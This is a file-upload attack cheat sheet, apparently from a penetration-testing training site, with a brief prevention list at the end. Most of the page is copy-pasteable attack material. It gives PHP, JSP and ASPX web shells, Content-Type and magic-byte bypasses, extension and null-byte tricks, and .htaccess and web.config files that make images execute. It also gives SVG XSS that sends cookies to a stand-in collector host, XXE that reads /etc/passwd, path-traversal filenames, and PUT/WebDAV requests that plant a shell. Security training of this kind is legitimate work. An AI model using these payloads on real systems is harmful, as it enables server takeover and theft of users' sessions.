File Upload Vulnerabilities: The Complete Practical Guide

File Upload Cheat Sheet

A dense, copy-pasteable file upload reference: web shells, content-type and magic-byte bypass, extension tricks, config drops, SVG XSS/XXE, PUT, and prevention.

Published

Every file-upload payload you reach for, in one place. The job never changes: get executable or dangerous content to land somewhere the server runs or serves it. For the how and why behind each section, start at the file upload guide. Lock it in on a free live target.

Minimal web shells

# PHP
<?php system($_GET['c']); ?>
<?php echo shell_exec($_GET['c']); ?>
<?=`$_GET[0]`?>
<%-- JSP --%>
<%@ page import="java.util.*,java.io.*" %>
<%
  Process p = Runtime.getRuntime().exec(request.getParameter("c"));
  Scanner s = new Scanner(p.getInputStream()).useDelimiter("\\A");
  out.println(s.hasNext() ? s.next() : "");
%>
<%-- ASPX (returns command output) --%>
<%@ Page Language="C#" %>
<%
  var p = new System.Diagnostics.Process();
  p.StartInfo.FileName = "cmd.exe";
  p.StartInfo.Arguments = "/c " + Request["c"];
  p.StartInfo.UseShellExecute = false;
  p.StartInfo.RedirectStandardOutput = true;
  p.Start();
  Response.Write(p.StandardOutput.ReadToEnd());
%>

See web-shell upload.

Content-Type spoofing (multipart part header)

Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg          <-- lie here
 
<?php system($_GET['c']); ?>

Magic-byte prefixes (satisfy a content sniff, then run code)

GIF89a;<?php system($_GET['c']); ?>
\x89PNG\r\n\x1a\n<?php system($_GET['c']); ?>
\xFF\xD8\xFF\xE0  (JPEG/JFIF header, then payload in a comment segment)

More in content-type and magic-byte bypass.

Extension tricks

shell.phtml  shell.php5  shell.phar  shell.pht    alternate PHP executables (NOT .phps, that shows source)
shell.php.jpg          double extension (lax/misconfigured handler runs the .php)
shell.pHp              case variation
# --- legacy only (old stacks) ---
shell.php%00.jpg       null byte (old PHP < 5.3.4)
shell.asp;.jpg         IIS6 semicolon truncation
shell.php.             trailing dot (old Windows strips it)
shell.php%20           trailing space
shell.aspx::$DATA      NTFS alternate data stream (IIS/Windows)

See extension blacklist bypass.

Config-file upload (make a safe extension execute)

# .htaccess (Apache): treat .jpg as PHP
AddType application/x-httpd-php .jpg
<!-- web.config (IIS): add a handler for .jpg -->
<configuration><system.webServer><handlers>
  <add name="x" path="*.jpg" verb="*" modules="FastCgiModule"
       scriptProcessor="C:\php\php-cgi.exe" resourceType="Unspecified"/>
</handlers></system.webServer></configuration>

SVG stored XSS (served inline)

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>new Image().src='https://collector.example/?c='+document.cookie</script>
</svg>

SVG / document XXE (parsed server-side)

<?xml version="1.0"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg"><text x="0" y="20">&xxe;</text></svg>
# .docx / .xlsx = a zip of XML. Inject an external entity into an internal part
# (e.g. word/document.xml), re-zip, upload, and read the entity back wherever
# that text renders.

More non-RCE angles in non-RCE exploits.

Path traversal in the filename

filename="../../../../var/www/html/shell.php"
filename="..%2f..%2f..%2fshell.php"      (URL-encoded)
filename="..%252f..%252fshell.php"       (double-encoded)
filename="....//....//shell.php"         (beats a single-pass ../ strip)

See path traversal via filename.

PUT upload + WebDAV

# Enumerate methods first
OPTIONS /uploads/ HTTP/1.1
Host: target
 
# Raw write to the web root
PUT /uploads/shell.php HTTP/1.1
Host: target
Content-Length: 28
 
<?php system($_GET['c']); ?>
 
# If PUT only writes inert extensions, rename with WebDAV MOVE
MOVE /uploads/shell.txt HTTP/1.1
Host: target
Destination: /uploads/shell.php

See PUT-based uploads.

Race condition note

Upload a shell, then hammer its URL in parallel with the upload so a read lands
in the gap between "written to disk" and "validated/deleted". A short-lived file
still executes if you request it fast enough.

See upload race conditions.

Prevention

  • Allow-list the extension and validate server-side. Never trust the client, the Content-Type header, or a blacklist.
  • Re-encode images (decode and re-save) and strip metadata, so embedded code or entities die.
  • Rename every upload to a random server-generated name with one fixed, safe extension. Discard the user's filename.
  • Store outside the web root and serve through a handler that forces a safe Content-Type and Content-Disposition: attachment.
  • Disable script execution in the upload directory, cap file size, scan contents, and disable external entities when parsing XML/Office/SVG. Full detail in preventing upload flaws.

← Back to File Upload Vulnerabilities: The Complete Practical Guide